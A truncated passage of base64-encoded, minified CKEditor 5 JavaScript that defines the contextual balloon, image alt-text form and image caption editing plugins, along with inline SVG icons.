jc0IDkuMzlhLjg4OC44ODggMCAwIDEtLjE2IDEuMzgybC00LjA0MyA0LjA0MnoiLz48L3N2Zz4nO3ZhciBUeT1uKDM2KTt2YXIgSXk9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtJeS5pbnNlcnQ9ImhlYWQiO0l5LnNpbmdsZXRvbj10cnVlO3ZhciBOeT1yaygpKFR5WyJhIl0sSXkpO3ZhciBCeT1UeVsiYSJdLmxvY2Fsc3x8e307dmFyIFB5PW4oMzcpO3ZhciB6eT17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O3p5Lmluc2VydD0iaGVhZCI7enkuc2luZ2xldG9uPXRydWU7dmFyIEx5PXJrKCkoUHlbImEiXSx6eSk7dmFyIE95PVB5WyJhIl0ubG9jYWxzfHx7fTtjb25zdCBSeT13YigicHgiKTtjbGFzcyBqeSBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJDb250ZXh0dWFsQmFsbG9vbiJ9Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5wb3NpdGlvbkxpbWl0ZXI9KCk9Pntjb25zdCB0PXRoaXMuZWRpdG9yLmVkaXRpbmcudmlldztjb25zdCBlPXQuZG9jdW1lbnQ7Y29uc3Qgbj1lLnNlbGVjdGlvbi5lZGl0YWJsZUVsZW1lbnQ7aWYobil7cmV0dXJuIHQuZG9tQ29udmVydGVyLm1hcFZpZXdUb0RvbShuLnJvb3QpfXJldHVybiBudWxsfTt0aGlzLnNldCgidmlzaWJsZVZpZXciLG51bGwpO3RoaXMudmlldz1uZXcgRl8odC5sb2NhbGUpO3QudWkudmlldy5ib2R5LmFkZCh0aGlzLnZpZXcpO3QudWkuZm9jdXNUcmFja2VyLmFkZCh0aGlzLnZpZXcuZWxlbWVudCk7dGhpcy5fdmlld1RvU3RhY2s9bmV3IE1hcDt0aGlzLl9pZFRvU3RhY2s9bmV3IE1hcDt0aGlzLnNldCgiX251bWJlck9mU3RhY2tzIiwwKTt0aGlzLnNldCgiX3NpbmdsZVZpZXdNb2RlIixmYWxzZSk7dGhpcy5fcm90YXRvclZpZXc9dGhpcy5fY3JlYXRlUm90YXRvclZpZXcoKTt0aGlzLl9mYWtlUGFuZWxzVmlldz10aGlzLl9jcmVhdGVGYWtlUGFuZWxzVmlldygpfWhhc1ZpZXcodCl7cmV0dXJuIEFycmF5LmZyb20odGhpcy5fdmlld1RvU3RhY2sua2V5cygpKS5pbmNsdWRlcyh0KX1hZGQodCl7aWYodGhpcy5oYXNWaWV3KHQudmlldykpe3Rocm93IG5ldyBzc1siYSJdKCJjb250ZXh0dWFsYmFsbG9vbi1hZGQtdmlldy1leGlzdCIsW3RoaXMsdF0pfWNvbnN0IGU9dC5zdGFja0lkfHwibWFpbiI7aWYoIXRoaXMuX2lkVG9TdGFjay5oYXMoZSkpe3RoaXMuX2lkVG9TdGFjay5zZXQoZSxuZXcgTWFwKFtbdC52aWV3LHRdXSkpO3RoaXMuX3ZpZXdUb1N0YWNrLnNldCh0LnZpZXcsdGhpcy5faWRUb1N0YWNrLmdldChlKSk7dGhpcy5fbnVtYmVyT2ZTdGFja3M9dGhpcy5faWRUb1N0YWNrLnNpemU7aWYoIXRoaXMuX3Zpc2libGVTdGFja3x8dC5zaW5nbGVWaWV3TW9kZSl7dGhpcy5zaG93U3RhY2soZSl9cmV0dXJufWNvbnN0IG49dGhpcy5faWRUb1N0YWNrLmdldChlKTtpZih0LnNpbmdsZVZpZXdNb2RlKXt0aGlzLnNob3dTdGFjayhlKX1uLnNldCh0LnZpZXcsdCk7dGhpcy5fdmlld1RvU3RhY2suc2V0KHQudmlldyxuKTtpZihuPT09dGhpcy5fdmlzaWJsZVN0YWNrKXt0aGlzLl9zaG93Vmlldyh0KX19cmVtb3ZlKHQpe2lmKCF0aGlzLmhhc1ZpZXcodCkpe3Rocm93IG5ldyBzc1siYSJdKCJjb250ZXh0dWFsYmFsbG9vbi1yZW1vdmUtdmlldy1ub3QtZXhpc3QiLFt0aGlzLHRdKX1jb25zdCBlPXRoaXMuX3ZpZXdUb1N0YWNrLmdldCh0KTtpZih0aGlzLl9zaW5nbGVWaWV3TW9kZSYmdGhpcy52aXNpYmxlVmlldz09PXQpe3RoaXMuX3NpbmdsZVZpZXdNb2RlPWZhbHNlfWlmKHRoaXMudmlzaWJsZVZpZXc9PT10KXtpZihlLnNpemU9PT0xKXtpZih0aGlzLl9pZFRvU3RhY2suc2l6ZT4xKXt0aGlzLl9zaG93TmV4dFN0YWNrKCl9ZWxzZXt0aGlzLnZpZXcuaGlkZSgpO3RoaXMudmlzaWJsZVZpZXc9bnVsbDt0aGlzLl9yb3RhdG9yVmlldy5oaWRlVmlldygpfX1lbHNle3RoaXMuX3Nob3dWaWV3KEFycmF5LmZyb20oZS52YWx1ZXMoKSlbZS5zaXplLTJdKX19aWYoZS5zaXplPT09MSl7dGhpcy5faWRUb1N0YWNrLmRlbGV0ZSh0aGlzLl9nZXRTdGFja0lkKGUpKTt0aGlzLl9udW1iZXJPZlN0YWNrcz10aGlzLl9pZFRvU3RhY2suc2l6ZX1lbHNle2UuZGVsZXRlKHQpfXRoaXMuX3ZpZXdUb1N0YWNrLmRlbGV0ZSh0KX11cGRhdGVQb3NpdGlvbih0KXtpZih0KXt0aGlzLl92aXNpYmxlU3RhY2suZ2V0KHRoaXMudmlzaWJsZVZpZXcpLnBvc2l0aW9uPXR9dGhpcy52aWV3LnBpbih0aGlzLl9nZXRCYWxsb29uUG9zaXRpb24oKSk7dGhpcy5fZmFrZVBhbmVsc1ZpZXcudXBkYXRlUG9zaXRpb24oKX1zaG93U3RhY2sodCl7dGhpcy52aXNpYmxlU3RhY2s9dDtjb25zdCBlPXRoaXMuX2lkVG9TdGFjay5nZXQodCk7aWYoIWUpe3Rocm93IG5ldyBzc1siYSJdKCJjb250ZXh0dWFsYmFsbG9vbi1zaG93c3RhY2stc3RhY2stbm90LWV4aXN0Iix0aGlzKX1pZih0aGlzLl92aXNpYmxlU3RhY2s9PT1lKXtyZXR1cm59dGhpcy5fc2hvd1ZpZXcoQXJyYXkuZnJvbShlLnZhbHVlcygpKS5wb3AoKSl9Z2V0IF92aXNpYmxlU3RhY2soKXtyZXR1cm4gdGhpcy5fdmlld1RvU3RhY2suZ2V0KHRoaXMudmlzaWJsZVZpZXcpfV9nZXRTdGFja0lkKHQpe2NvbnN0IGU9QXJyYXkuZnJvbSh0aGlzLl9pZFRvU3RhY2suZW50cmllcygpKS5maW5kKChlPT5lWzFdPT09dCkpO3JldHVybiBlWzBdfV9zaG93TmV4dFN0YWNrKCl7Y29uc3QgdD1BcnJheS5mcm9tKHRoaXMuX2lkVG9TdGFjay52YWx1ZXMoKSk7bGV0IGU9dC5pbmRleE9mKHRoaXMuX3Zpc2libGVTdGFjaykrMTtpZighdFtlXSl7ZT0wfXRoaXMuc2hvd1N0YWNrKHRoaXMuX2dldFN0YWNrSWQodFtlXSkpfV9zaG93UHJldlN0YWNrKCl7Y29uc3QgdD1BcnJheS5mcm9tKHRoaXMuX2lkVG9TdGFjay52YWx1ZXMoKSk7bGV0IGU9dC5pbmRleE9mKHRoaXMuX3Zpc2libGVTdGFjayktMTtpZighdFtlXSl7ZT10Lmxlbmd0aC0xfXRoaXMuc2hvd1N0YWNrKHRoaXMuX2dldFN0YWNrSWQodFtlXSkpfV9jcmVhdGVSb3RhdG9yVmlldygpe2NvbnN0IHQ9bmV3IEZ5KHRoaXMuZWRpdG9yLmxvY2FsZSk7Y29uc3QgZT10aGlzLmVkaXRvci5sb2NhbGUudDt0aGlzLnZpZXcuY29udGVudC5hZGQodCk7dC5iaW5kKCJpc05hdmlnYXRpb25WaXNpYmxlIikudG8odGhpcywiX251bWJlck9mU3RhY2tzIix0aGlzLCJfc2luZ2xlVmlld01vZGUiLCgodCxlKT0+IWUmJnQ+MSkpO3Qub24oImNoYW5nZTppc05hdmlnYXRpb25WaXNpYmxlIiwoKCk9PnRoaXMudXBkYXRlUG9zaXRpb24oKSkse3ByaW9yaXR5OiJsb3cifSk7dC5iaW5kKCJjb3VudGVyIikudG8odGhpcywidmlzaWJsZVZpZXciLHRoaXMsIl9udW1iZXJPZlN0YWNrcyIsKCh0LG4pPT57aWYobjwyKXtyZXR1cm4iIn1jb25zdCBpPUFycmF5LmZyb20odGhpcy5faWRUb1N0YWNrLnZhbHVlcygpKS5pbmRleE9mKHRoaXMuX3Zpc2libGVTdGFjaykrMTtyZXR1cm4gZSgiJTAgb2YgJTEiLFtpLG5dKX0pKTt0LmJ1dHRvbk5leHRWaWV3Lm9uKCJleGVjdXRlIiwoKCk9PntpZih0LmZvY3VzVHJhY2tlci5pc0ZvY3VzZWQpe3RoaXMuZWRpdG9yLmVkaXRpbmcudmlldy5mb2N1cygpfXRoaXMuX3Nob3dOZXh0U3RhY2soKX0pKTt0LmJ1dHRvblByZXZWaWV3Lm9uKCJleGVjdXRlIiwoKCk9PntpZih0LmZvY3VzVHJhY2tlci5pc0ZvY3VzZWQpe3RoaXMuZWRpdG9yLmVkaXRpbmcudmlldy5mb2N1cygpfXRoaXMuX3Nob3dQcmV2U3RhY2soKX0pKTtyZXR1cm4gdH1fY3JlYXRlRmFrZVBhbmVsc1ZpZXcoKXtjb25zdCB0PW5ldyBWeSh0aGlzLmVkaXRvci5sb2NhbGUsdGhpcy52aWV3KTt0LmJpbmQoIm51bWJlck9mUGFuZWxzIikudG8odGhpcywiX251bWJlck9mU3RhY2tzIix0aGlzLCJfc2luZ2xlVmlld01vZGUiLCgodCxlKT0+e2NvbnN0IG49IWUmJnQ+PTI7cmV0dXJuIG4/TWF0aC5taW4odC0xLDIpOjB9KSk7dC5saXN0ZW5Ubyh0aGlzLnZpZXcsImNoYW5nZTp0b3AiLCgoKT0+dC51cGRhdGVQb3NpdGlvbigpKSk7dC5saXN0ZW5Ubyh0aGlzLnZpZXcsImNoYW5nZTpsZWZ0IiwoKCk9PnQudXBkYXRlUG9zaXRpb24oKSkpO3RoaXMuZWRpdG9yLnVpLnZpZXcuYm9keS5hZGQodCk7cmV0dXJuIHR9X3Nob3dWaWV3KHt2aWV3OnQsYmFsbG9vbkNsYXNzTmFtZTplPSIiLHdpdGhBcnJvdzpuPXRydWUsc2luZ2xlVmlld01vZGU6aT1mYWxzZX0pe3RoaXMudmlldy5jbGFzcz1lO3RoaXMudmlldy53aXRoQXJyb3c9bjt0aGlzLl9yb3RhdG9yVmlldy5zaG93Vmlldyh0KTt0aGlzLnZpc2libGVWaWV3PXQ7dGhpcy52aWV3LnBpbih0aGlzLl9nZXRCYWxsb29uUG9zaXRpb24oKSk7dGhpcy5fZmFrZVBhbmVsc1ZpZXcudXBkYXRlUG9zaXRpb24oKTtpZihpKXt0aGlzLl9zaW5nbGVWaWV3TW9kZT10cnVlfX1fZ2V0QmFsbG9vblBvc2l0aW9uKCl7bGV0IHQ9QXJyYXkuZnJvbSh0aGlzLl92aXNpYmxlU3RhY2sudmFsdWVzKCkpLnBvcCgpLnBvc2l0aW9uO2lmKHQmJiF0LmxpbWl0ZXIpe3Q9T2JqZWN0LmFzc2lnbih7fSx0LHtsaW1pdGVyOnRoaXMucG9zaXRpb25MaW1pdGVyfSl9cmV0dXJuIHR9fWNsYXNzIEZ5IGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7Y29uc3QgZT10LnQ7Y29uc3Qgbj10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldCgiaXNOYXZpZ2F0aW9uVmlzaWJsZSIsdHJ1ZSk7dGhpcy5mb2N1c1RyYWNrZXI9bmV3IHRrO3RoaXMuYnV0dG9uUHJldlZpZXc9dGhpcy5fY3JlYXRlQnV0dG9uVmlldyhlKCJQcmV2aW91cyIpLE15KTt0aGlzLmJ1dHRvbk5leHRWaWV3PXRoaXMuX2NyZWF0ZUJ1dHRvblZpZXcoZSgiTmV4dCIpLFN5KTt0aGlzLmNvbnRlbnQ9dGhpcy5jcmVhdGVDb2xsZWN0aW9uKCk7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1iYWxsb29uLXJvdGF0b3IiXSwiei1pbmRleCI6Ii0xIn0sY2hpbGRyZW46W3t0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjay1iYWxsb29uLXJvdGF0b3JfX25hdmlnYXRpb24iLG4udG8oImlzTmF2aWdhdGlvblZpc2libGUiLCh0PT50PyIiOiJjay1oaWRkZW4iKSldfSxjaGlsZHJlbjpbdGhpcy5idXR0b25QcmV2Vmlldyx7dGFnOiJzcGFuIixhdHRyaWJ1dGVzOntjbGFzczpbImNrLWJhbGxvb24tcm90YXRvcl9fY291bnRlciJdfSxjaGlsZHJlbjpbe3RleHQ6bi50bygiY291bnRlciIpfV19LHRoaXMuYnV0dG9uTmV4dFZpZXddfSx7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOiJjay1iYWxsb29uLXJvdGF0b3JfX2NvbnRlbnQifSxjaGlsZHJlbjp0aGlzLmNvbnRlbnR9XX0pfXJlbmRlcigpe3N1cGVyLnJlbmRlcigpO3RoaXMuZm9jdXNUcmFja2VyLmFkZCh0aGlzLmVsZW1lbnQpfXNob3dWaWV3KHQpe3RoaXMuaGlkZVZpZXcoKTt0aGlzLmNvbnRlbnQuYWRkKHQpfWhpZGVWaWV3KCl7dGhpcy5jb250ZW50LmNsZWFyKCl9X2NyZWF0ZUJ1dHRvblZpZXcodCxlKXtjb25zdCBuPW5ldyBjdyh0aGlzLmxvY2FsZSk7bi5zZXQoe2xhYmVsOnQsaWNvbjplLHRvb2x0aXA6dHJ1ZX0pO3JldHVybiBufX1jbGFzcyBWeSBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCk7Y29uc3Qgbj10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldCgidG9wIiwwKTt0aGlzLnNldCgibGVmdCIsMCk7dGhpcy5zZXQoImhlaWdodCIsMCk7dGhpcy5zZXQoIndpZHRoIiwwKTt0aGlzLnNldCgibnVtYmVyT2ZQYW5lbHMiLDApO3RoaXMuY29udGVudD10aGlzLmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLl9iYWxsb29uUGFuZWxWaWV3PWU7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2stZmFrZS1wYW5lbCIsbi50bygibnVtYmVyT2ZQYW5lbHMiLCh0PT50PyIiOiJjay1oaWRkZW4iKSldLHN0eWxlOnt0b3A6bi50bygidG9wIixSeSksbGVmdDpuLnRvKCJsZWZ0IixSeSksd2lkdGg6bi50bygid2lkdGgiLFJ5KSxoZWlnaHQ6bi50bygiaGVpZ2h0IixSeSl9fSxjaGlsZHJlbjp0aGlzLmNvbnRlbnR9KTt0aGlzLm9uKCJjaGFuZ2U6bnVtYmVyT2ZQYW5lbHMiLCgodCxlLG4saSk9PntpZihuPmkpe3RoaXMuX2FkZFBhbmVscyhuLWkpfWVsc2V7dGhpcy5fcmVtb3ZlUGFuZWxzKGktbil9dGhpcy51cGRhdGVQb3NpdGlvbigpfSkpfV9hZGRQYW5lbHModCl7d2hpbGUodC0tKXtjb25zdCB0PW5ldyB0Yjt0LnNldFRlbXBsYXRlKHt0YWc6ImRpdiJ9KTt0aGlzLmNvbnRlbnQuYWRkKHQpO3RoaXMucmVnaXN0ZXJDaGlsZCh0KX19X3JlbW92ZVBhbmVscyh0KXt3aGlsZSh0LS0pe2NvbnN0IHQ9dGhpcy5jb250ZW50Lmxhc3Q7dGhpcy5jb250ZW50LnJlbW92ZSh0KTt0aGlzLmRlcmVnaXN0ZXJDaGlsZCh0KTt0LmRlc3Ryb3koKX19dXBkYXRlUG9zaXRpb24oKXtpZih0aGlzLm51bWJlck9mUGFuZWxzKXtjb25zdHt0b3A6dCxsZWZ0OmV9PXRoaXMuX2JhbGxvb25QYW5lbFZpZXc7Y29uc3R7d2lkdGg6bixoZWlnaHQ6aX09bmV3IEVoKHRoaXMuX2JhbGxvb25QYW5lbFZpZXcuZWxlbWVudCk7T2JqZWN0LmFzc2lnbih0aGlzLHt0b3A6dCxsZWZ0OmUsd2lkdGg6bixoZWlnaHQ6aX0pfX19dmFyIFV5PSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNS4wODUgNi4yMkwyLjk0MyA0LjA3OGEuNzUuNzUgMCAxIDEgMS4wNi0xLjA2bDIuNTkyIDIuNTlBMTEuMDk0IDExLjA5NCAwIDAgMSAxMCA1LjA2OGM0LjczOCAwIDguNTc4IDMuMTAxIDguNTc4IDUuMDgzIDAgMS4xOTctMS40MDEgMi44MDMtMy41NTUgMy44ODdsMS43MTQgMS43MTNhLjc1Ljc1IDAgMCAxLS4wOSAxLjEzOC40ODguNDg4IDAgMCAxLS4xNS4wODQuNzUuNzUgMCAwIDEtLjgyMS0uMTZMNi4xNyA3LjMwNGMtLjI1OC4xMS0uNTEuMjMzLS43NTcuMzY1bDYuMjM5IDYuMjQtLjAwNi4wMDUuNzguNzhjLS4zODguMDk0LS43OC4xNjYtMS4xNzQuMjE1bC0xLjExLTEuMTFoLjAxMUw0LjU1IDguMTk3YTcuMiA3LjIgMCAwIDAtLjY2NS41MTRsLS4xMTIuMDk4IDQuODk3IDQuODk3LS4wMDUuMDA2IDEuMjc2IDEuMjc2YTEwLjE2NCAxMC4xNjQgMCAwIDEtMS40NzctLjExN2wtLjQ3OS0uNDc5LS4wMDkuMDA5LTQuODYzLTQuODYzLS4wMjIuMDMxYTIuNTYzIDIuNTYzIDAgMCAwLS4xMjQuMmMtLjA0My4wNzctLjA4LjE1OC0uMTA4LjI0MWEuNTM0LjUzNCAwIDAgMC0uMDI4LjEzMy4yOS4yOSAwIDAgMCAuMDA4LjA3Mi45MjcuOTI3IDAgMCAwIC4wODIuMjI2Yy4wNjcuMTMzLjE0NS4yNi4yMzQuMzc5bDMuMjQyIDMuMzY1LjAyNS4wMS41OS42MjNjLTMuMjY1LS45MTgtNS41OS0zLjE1NS01LjU5LTQuNjY4IDAtMS4xOTQgMS40NDgtMi44MzggMy42NjMtMy45M3ptNy4wNy41MzFhNC42MzIgNC42MzIgMCAwIDEgMS4xMDggNS45OTJsLjM0NS4zNDQuMDQ2LS4wMThhOS4zMTMgOS4zMTMgMCAwIDAgMi0xLjExMmMuMjU2LS4xODcuNS0uMzkyLjcyNy0uNjEzLjEzNy0uMTM0LjI3LS4yNzcuMzkyLS40MzEuMDcyLS4wOTEuMTQxLS4xODUuMjAzLS4yODYuMDU3LS4wOTMuMTA3LS4xOS4xNDgtLjI5MmEuNzIuNzIgMCAwIDAgLjAzNi0uMTIuMjkuMjkgMCAwIDAgLjAwOC0uMDcyLjQ5Mi40OTIgMCAwIDAtLjAyOC0uMTMzLjk5OS45OTkgMCAwIDAtLjAzNi0uMDk2IDIuMTY1IDIuMTY1IDAgMCAwLS4wNzEtLjE0NSAyLjkxNyAyLjkxNyAwIDAgMC0uMTI1LS4yIDMuNTkyIDMuNTkyIDAgMCAwLS4yNjMtLjMzNSA1LjQ0NCA1LjQ0NCAwIDAgMC0uNTMtLjUyMyA3Ljk1NSA3Ljk1NSAwIDAgMC0xLjA1NC0uNzY4IDkuNzY2IDkuNzY2IDAgMCAwLTEuODc5LS44OTFjLS4zMzctLjExOC0uNjgtLjIxOS0xLjAyNy0uMzAxem0tMi44NS4yMWwtLjA2OS4wMDJhLjUwOC41MDggMCAwIDAtLjI1NC4wOTcuNDk2LjQ5NiAwIDAgMC0uMTA0LjY3OS40OTguNDk4IDAgMCAwIC4zMjYuMTk5bC4wNDUuMDA1Yy4wOTEuMDAzLjE4MS4wMDMuMjcyLjAxMmEyLjQ1IDIuNDUgMCAwIDEgMi4wMTcgMS41MTNjLjAyNC4wNjEuMDQzLjEyNS4wNjkuMTg1YS40OTQuNDk0IDAgMCAwIC40NS4yODdoLjAwOGEuNDk2LjQ5NiAwIDAgMCAuMzUtLjE1OC40ODIuNDgyIDAgMCAwIC4xMy0uMzM1LjYzOC42MzggMCAwIDAtLjA0OC0uMjE5IDMuMzc5IDMuMzc5IDAgMCAwLS4zNi0uNzIzIDMuNDM4IDMuNDM4IDAgMCAwLTIuNzkxLTEuNTQzbC0uMDI4LS4wMDFoLS4wMTN6Ii8+PC9zdmc+JztmdW5jdGlvbiBIeSh0KXtjb25zdCBlPXQucGx1Z2lucy5nZXQoIkNvbnRleHR1YWxCYWxsb29uIik7aWYoaHYodC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQuc2VsZWN0aW9uKSl7Y29uc3Qgbj1HeSh0KTtlLnVwZGF0ZVBvc2l0aW9uKG4pfX1mdW5jdGlvbiBHeSh0KXtjb25zdCBlPXQuZWRpdGluZy52aWV3O2NvbnN0IG49Rl8uZGVmYXVsdFBvc2l0aW9ucztyZXR1cm57dGFyZ2V0OmUuZG9tQ29udmVydGVyLnZpZXdUb0RvbShlLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRTZWxlY3RlZEVsZW1lbnQoKSkscG9zaXRpb25zOltuLm5vcnRoQXJyb3dTb3V0aCxuLm5vcnRoQXJyb3dTb3V0aFdlc3Qsbi5ub3J0aEFycm93U291dGhFYXN0LG4uc291dGhBcnJvd05vcnRoLG4uc291dGhBcnJvd05vcnRoV2VzdCxuLnNvdXRoQXJyb3dOb3J0aEVhc3RdfX1jbGFzcyBXeSBleHRlbmRzIG5De3N0YXRpYyBnZXQgcmVxdWlyZXMoKXtyZXR1cm5banldfXN0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJJbWFnZVRleHRBbHRlcm5hdGl2ZVVJIn1pbml0KCl7dGhpcy5fY3JlYXRlQnV0dG9uKCk7dGhpcy5fY3JlYXRlRm9ybSgpfWRlc3Ryb3koKXtzdXBlci5kZXN0cm95KCk7dGhpcy5fZm9ybS5kZXN0cm95KCl9X2NyZWF0ZUJ1dHRvbigpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LnQ7dC51aS5jb21wb25lbnRGYWN0b3J5LmFkZCgiaW1hZ2VUZXh0QWx0ZXJuYXRpdmUiLChuPT57Y29uc3QgaT10LmNvbW1hbmRzLmdldCgiaW1hZ2VUZXh0QWx0ZXJuYXRpdmUiKTtjb25zdCBvPW5ldyBjdyhuKTtvLnNldCh7bGFiZWw6ZSgiQ2hhbmdlIGltYWdlIHRleHQgYWx0ZXJuYXRpdmUiKSxpY29uOlV5LHRvb2x0aXA6dHJ1ZX0pO28uYmluZCgiaXNFbmFibGVkIikudG8oaSwiaXNFbmFibGVkIik7dGhpcy5saXN0ZW5UbyhvLCJleGVjdXRlIiwoKCk9Pnt0aGlzLl9zaG93Rm9ybSgpfSkpO3JldHVybiBvfSkpfV9jcmVhdGVGb3JtKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQuZWRpdGluZy52aWV3O2NvbnN0IG49ZS5kb2N1bWVudDt0aGlzLl9iYWxsb29uPXRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KCJDb250ZXh0dWFsQmFsbG9vbiIpO3RoaXMuX2Zvcm09bmV3IEV5KHQubG9jYWxlKTt0aGlzLl9mb3JtLnJlbmRlcigpO3RoaXMubGlzdGVuVG8odGhpcy5fZm9ybSwic3VibWl0IiwoKCk9Pnt0LmV4ZWN1dGUoImltYWdlVGV4dEFsdGVybmF0aXZlIix7bmV3VmFsdWU6dGhpcy5fZm9ybS5sYWJlbGVkSW5wdXQuZmllbGRWaWV3LmVsZW1lbnQudmFsdWV9KTt0aGlzLl9oaWRlRm9ybSh0cnVlKX0pKTt0aGlzLmxpc3RlblRvKHRoaXMuX2Zvcm0sImNhbmNlbCIsKCgpPT57dGhpcy5faGlkZUZvcm0odHJ1ZSl9KSk7dGhpcy5fZm9ybS5rZXlzdHJva2VzLnNldCgiRXNjIiwoKHQsZSk9Pnt0aGlzLl9oaWRlRm9ybSh0cnVlKTtlKCl9KSk7dGhpcy5saXN0ZW5Ubyh0LnVpLCJ1cGRhdGUiLCgoKT0+e2lmKCFodihuLnNlbGVjdGlvbikpe3RoaXMuX2hpZGVGb3JtKHRydWUpfWVsc2UgaWYodGhpcy5faXNWaXNpYmxlKXtIeSh0KX19KSk7dncoe2VtaXR0ZXI6dGhpcy5fZm9ybSxhY3RpdmF0b3I6KCk9PnRoaXMuX2lzVmlzaWJsZSxjb250ZXh0RWxlbWVudHM6W3RoaXMuX2JhbGxvb24udmlldy5lbGVtZW50XSxjYWxsYmFjazooKT0+dGhpcy5faGlkZUZvcm0oKX0pfV9zaG93Rm9ybSgpe2lmKHRoaXMuX2lzVmlzaWJsZSl7cmV0dXJufWNvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmNvbW1hbmRzLmdldCgiaW1hZ2VUZXh0QWx0ZXJuYXRpdmUiKTtjb25zdCBuPXRoaXMuX2Zvcm0ubGFiZWxlZElucHV0O3RoaXMuX2Zvcm0uZGlzYWJsZUNzc1RyYW5zaXRpb25zKCk7aWYoIXRoaXMuX2lzSW5CYWxsb29uKXt0aGlzLl9iYWxsb29uLmFkZCh7dmlldzp0aGlzLl9mb3JtLHBvc2l0aW9uOkd5KHQpfSl9bi5maWVsZFZpZXcudmFsdWU9bi5maWVsZFZpZXcuZWxlbWVudC52YWx1ZT1lLnZhbHVlfHwiIjt0aGlzLl9mb3JtLmxhYmVsZWRJbnB1dC5maWVsZFZpZXcuc2VsZWN0KCk7dGhpcy5fZm9ybS5lbmFibGVDc3NUcmFuc2l0aW9ucygpfV9oaWRlRm9ybSh0KXtpZighdGhpcy5faXNJbkJhbGxvb24pe3JldHVybn1pZih0aGlzLl9mb3JtLmZvY3VzVHJhY2tlci5pc0ZvY3VzZWQpe3RoaXMuX2Zvcm0uc2F2ZUJ1dHRvblZpZXcuZm9jdXMoKX10aGlzLl9iYWxsb29uLnJlbW92ZSh0aGlzLl9mb3JtKTtpZih0KXt0aGlzLmVkaXRvci5lZGl0aW5nLnZpZXcuZm9jdXMoKX19Z2V0IF9pc1Zpc2libGUoKXtyZXR1cm4gdGhpcy5fYmFsbG9vbi52aXNpYmxlVmlldz09PXRoaXMuX2Zvcm19Z2V0IF9pc0luQmFsbG9vbigpe3JldHVybiB0aGlzLl9iYWxsb29uLmhhc1ZpZXcodGhpcy5fZm9ybSl9fWNsYXNzIEt5IGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltleSxXeV19c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkltYWdlVGV4dEFsdGVybmF0aXZlIn19dmFyIHF5PW4oMzgpO3ZhciBZeT17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O1l5Lmluc2VydD0iaGVhZCI7WXkuc2luZ2xldG9uPXRydWU7dmFyIFF5PXJrKCkocXlbImEiXSxZeSk7dmFyICR5PXF5WyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBKeSBleHRlbmRzIG5De3N0YXRpYyBnZXQgcmVxdWlyZXMoKXtyZXR1cm5beHYsSnYsS3ldfXN0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJJbWFnZSJ9fWZ1bmN0aW9uIFp5KHQsZSl7cmV0dXJuIG49Pntjb25zdCBpPW4uY3JlYXRlRWRpdGFibGVFbGVtZW50KCJmaWdjYXB0aW9uIik7bi5zZXRDdXN0b21Qcm9wZXJ0eSgiaW1hZ2VDYXB0aW9uIix0cnVlLGkpO3VrKHt2aWV3OnQsZWxlbWVudDppLHRleHQ6ZX0pO3JldHVybiBvdihpLG4pfX1mdW5jdGlvbiBYeSh0KXtyZXR1cm4hIXQuZ2V0Q3VzdG9tUHJvcGVydHkoImltYWdlQ2FwdGlvbiIpfWZ1bmN0aW9uIHR4KHQpe2Zvcihjb25zdCBlIG9mIHQuZ2V0Q2hpbGRyZW4oKSl7aWYoISFlJiZlLmlzKCJlbGVtZW50IiwiY2FwdGlvbiIpKXtyZXR1cm4gZX19cmV0dXJuIG51bGx9ZnVuY3Rpb24gZXgodCl7Y29uc3QgZT10LnBhcmVudDtpZih0Lm5hbWU9PSJmaWdjYXB0aW9uIiYmZSYmZS5uYW1lPT0iZmlndXJlIiYmZS5oYXNDbGFzcygiaW1hZ2UiKSl7cmV0dXJue25hbWU6dHJ1ZX19cmV0dXJuIG51bGx9Y2xhc3MgbnggZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VDYXB0aW9uRWRpdGluZyJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmVkaXRpbmcudmlldztjb25zdCBuPXQubW9kZWwuc2NoZW1hO2NvbnN0IGk9dC5kYXRhO2NvbnN0IG89dC5lZGl0aW5nO2NvbnN0IHI9dC50O24ucmVnaXN0ZXIoImNhcHRpb24iLHthbGxvd0luOiJpbWFnZSIsYWxsb3dDb250ZW50T2Y6IiRibG9jayIsaXNMaW1pdDp0cnVlfSk7dC5tb2RlbC5kb2N1bWVudC5yZWdpc3RlclBvc3